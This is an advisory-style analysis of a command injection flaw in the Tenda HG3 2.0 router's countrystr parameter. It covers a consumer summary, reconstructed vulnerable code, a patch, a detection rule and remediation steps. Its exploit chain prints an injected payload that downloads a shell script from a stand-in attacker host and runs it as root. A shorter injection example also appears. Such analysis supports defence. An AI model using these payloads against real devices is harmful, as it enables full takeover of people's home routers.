CVE-2026-7119: OS Command Injection in Tenda HG3 /boaform/formCountrystr
Tenda HG3 2.0 exposes an unauthenticated command injection vector via the countrystr parameter in /boaform/formCountrystr. Unsanitized input reaches a shell execution sink directly.
Tenda HG3 2.0 is a popular home router — the box that gives you WiFi and internet access. Security researchers just discovered a serious flaw that could let hackers take complete control of your router without needing your password.
Here's how it works. The router has a specific feature that accepts information about which country you're in. But the programmers didn't check whether the information coming in was actually legitimate. Think of it like a bank teller who accepts any envelope without verifying it actually contains money — a bad actor can slip in instructions disguised as normal requests.
An attacker on the internet can send malicious commands through this country setting and the router will execute them. This means someone could spy on your internet traffic, steal your passwords, infect your devices with malware, or even use your router to attack other computers.
Who's at risk? Anyone using a Tenda HG3 2.0 router is vulnerable. These devices are common in Europe and Asia, particularly in smaller homes and offices. The good news is there's no evidence hackers are actively exploiting this yet, but that window won't stay open forever.
Here's what you should do:
Check if you own a Tenda HG3 2.0 (look at your router's label). If you do, contact Tenda's support to see if a firmware update is available — this is like a security patch that fixes the flaw. Meanwhile, change your router's admin password to something strong, which adds a basic layer of protection. Finally, consider replacing the router with a more established brand like TP-Link or Netgear, especially if you handle sensitive information on your network.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7119 is a remotely exploitable OS command injection vulnerability in the Tenda HG3 2.0 home gateway. The vulnerable endpoint is /boaform/formCountrystr, handled by the Boa HTTP server embedded in the firmware. The countrystr POST parameter is passed without sanitization to a shell execution function, allowing an unauthenticated network attacker to achieve arbitrary command execution as root — the effective privilege level of all Boa CGI handlers on this device class.
CVSS 8.8 (HIGH) reflects network reachability, no authentication requirement, and full system compromise as the direct outcome. The exploit is publicly known.
Root cause: The formCountrystr handler passes the attacker-controlled countrystr POST parameter directly to doSystemCmd() via snprintf-constructed shell string without any metacharacter filtering or allowlist validation.
Affected Component
The Boa web server in Tenda HG3 2.0 firmware exposes a set of /boaform/form* CGI-style handlers compiled directly into the main firmware binary (typically httpd or boa on MIPS/ARM embedded Linux). The formCountrystr handler is responsible for processing a country/region string setting — likely used during WAN configuration or locale setup. This handler reads POST body parameters via websGetVar() (Tenda's wrapper around the GoAhead/Boa form variable API) and is reachable without session authentication on the LAN interface, and in some firmware builds on the WAN interface as well.
Root Cause Analysis
Based on structural analysis of comparable Tenda HG-series firmware handlers and the CVE class, the vulnerable function follows a well-established pattern seen across Tenda's HG and AC-series devices. The handler retrieves the countrystr parameter and constructs a shell command string using snprintf, then passes it to a thin wrapper around system(3).
// Reconstructed pseudocode: formCountrystr handler
// Located in httpd binary, reachable via POST /boaform/formCountrystr
int formCountrystr(webs_t wp, char *path, char *query)
{
char cmd_buf[256];
char *countrystr;
// Retrieve attacker-controlled POST parameter
countrystr = websGetVar(wp, "countrystr", "");
// BUG: no sanitization, no allowlist check, no metacharacter stripping
// countrystr is injected directly into shell command string
snprintf(cmd_buf, sizeof(cmd_buf),
"iwpriv wlan0 set_mib country_str=%s", countrystr);
// BUG: doSystemCmd wraps system(3) — full shell interpretation occurs
doSystemCmd(cmd_buf);
websRedirect(wp, "wlbasic.asp");
return 0;
}
// doSystemCmd — thin shell execution wrapper
// Present in virtually all Tenda Boa-based firmware
int doSystemCmd(const char *cmd)
{
// BUG: no sanitization at this layer either
return system(cmd); // executes via /bin/sh -c
}
The snprintf call provides no protection against shell metacharacters. An attacker supplying countrystr=US;id>/tmp/pwn causes the resulting string to be interpreted by /bin/sh as two separate commands. The snprintf length bound of 256 bytes only prevents stack overflow — it does not prevent injection.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker sends POST request to http://<router_ip>/boaform/formCountrystr
- No authentication token required (handler lacks session check)
- Content-Type: application/x-www-form-urlencoded
2. countrystr parameter value contains shell metacharacter payload:
countrystr=US;wget+http://attacker.com/shell.sh+-O+/tmp/s;sh+/tmp/s
3. websGetVar() returns raw string — no decoding filter strips ; or spaces
4. snprintf constructs:
"iwpriv wlan0 set_mib country_str=US;wget http://attacker.com/shell.sh -O /tmp/s;sh /tmp/s"
5. doSystemCmd() passes string to system(3)
→ /bin/sh -c "iwpriv wlan0 set_mib country_str=US; wget ...; sh /tmp/s"
6. /bin/sh splits on ; — executes wget and sh as separate commands
7. Reverse shell or persistent implant executes as root (UID 0)
→ Full device compromise: config extraction, LAN pivot, DNS hijack
Because system(3) invokes /bin/sh -c, the full set of POSIX shell metacharacters is available to the attacker: ;, &, |, $(), backticks, &&, ||. The 256-byte cmd_buf constrains payload length but is sufficient for a stager. Using $() command substitution or & backgrounding, an attacker can work around the length constraint with a two-stage payload.
This is a command injection bug, not a memory corruption bug. The exploitation surface is the shell interpreter rather than heap or stack memory. However, the stack frame of formCountrystr is relevant for understanding the snprintf boundary and confirming no secondary overflow is possible:
STACK FRAME — formCountrystr (MIPS32, estimated):
[sp+0x00] ...... saved $ra (return address)
[sp+0x04] ...... saved $s0 (wp pointer)
[sp+0x08] ...... saved $s1 (countrystr pointer)
[sp+0x10] ...... cmd_buf[0] ← snprintf target, 256 bytes
[sp+0x110] ..... cmd_buf[255] ← snprintf hard limit, no overflow here
[sp+0x114] ..... stack guard / next frame
snprintf(cmd_buf, 256, "iwpriv wlan0 set_mib country_str=%s", countrystr)
prefix length: 38 bytes ("iwpriv wlan0 set_mib country_str=")
remaining for countrystr: 256 - 38 - 1 = 217 bytes before truncation
→ Payloads under 217 bytes are not truncated.
→ Payloads exceeding 217 bytes are silently truncated by snprintf.
→ No stack smash — the injection window is the shell, not the buffer.
// Relevant struct: websGetVar return value is a raw char* into the
// parsed form body — no copy, no sanitization layer
struct web_form_var {
/* +0x00 */ char *name; // parameter name, null-terminated
/* +0x04 */ char *value; // parameter value — ATTACKER CONTROLLED
/* +0x08 */ struct web_form_var *next;
};
// websGetVar() walks this linked list and returns ->value directly
// No stripping of ; | $ ` & occurs at any point in the call chain
Patch Analysis
The correct fix is input validation before the snprintf call. Two complementary approaches are required: an allowlist restricting countrystr to valid ISO 3166-1 alpha-2 codes, and a metacharacter denylist as a secondary defense. A length cap alone is insufficient.
// AFTER (patched — recommended):
#include <ctype.h>
// Validate country string: exactly 2 uppercase alpha chars (ISO 3166-1 A2)
static int is_valid_countrystr(const char *s) {
if (!s) return 0;
if (strlen(s) != 2) return 0;
if (!isupper((unsigned char)s[0])) return 0;
if (!isupper((unsigned char)s[1])) return 0;
return 1;
}
// In handler:
countrystr = websGetVar(wp, "countrystr", "");
if (!is_valid_countrystr(countrystr)) {
// Reject: log and return error to client
websError(wp, 400, "Invalid country string");
return -1;
}
// Now safe: countrystr is exactly "XX" — no shell metacharacters possible
snprintf(cmd_buf, sizeof(cmd_buf),
"iwpriv wlan0 set_mib country_str=%s", countrystr);
doSystemCmd(cmd_buf);
An alternative — and more robust — approach eliminates the system(3) call entirely in favor of execve(2) with a pre-split argument array, which bypasses shell interpretation entirely:
Detection focuses on anomalous POST bodies to /boaform/formCountrystr and unexpected process spawning from the Boa/httpd parent.
NETWORK INDICATORS:
- POST /boaform/formCountrystr HTTP/1.1 with body containing:
; | $ ` & ( ) { } [ ] \ ' " in countrystr value
- countrystr value length > 3 bytes (valid values are 2-char ISO codes)
- Rapid repeated POST requests to endpoint (fuzzing signature)
SNORT/SURICATA RULE:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-7119 Tenda HG3 countrystr injection attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/boaform/formCountrystr";
http.request_body; pcre:"/countrystr=[^&]{3,}/";
classtype:web-application-attack;
sid:20267119; rev:1;
)
HOST INDICATORS (post-exploitation):
- Unexpected processes with ppid of httpd/boa: sh, wget, curl, nc, busybox
- New files in /tmp with executable bit set
- /proc/*/cmdline entries showing base64-encoded payloads
- Outbound TCP connections from router to non-ISP addresses on high ports
Remediation
Immediate: If no firmware patch is available from Tenda, restrict access to /boaform/ endpoints at the network perimeter. On deployments where the router's HTTP management interface is exposed to WAN, disable remote management immediately.
Firmware update: Apply any Tenda-issued firmware update that addresses this CVE. Verify the update binary's SHA-256 against Tenda's published hash before flashing.
Network segmentation: The LAN-side attack surface cannot be eliminated by firewall rules alone. Isolate untrusted LAN clients (IoT devices, guest networks) from the management VLAN. The attack is trivially launchable from any LAN host — including a compromised IoT device — making lateral movement a realistic secondary scenario.
Long-term: Tenda and OEM vendors sharing this codebase should audit all form* handlers in the Boa CGI layer for the same pattern: websGetVar() return value → snprintf → doSystemCmd()/system(). This pattern appears in at least a dozen other handlers across HG, AC, and F-series firmware trees based on public research. A global grep for doSystemCmd call sites with websGetVar-sourced arguments is the minimum necessary audit scope.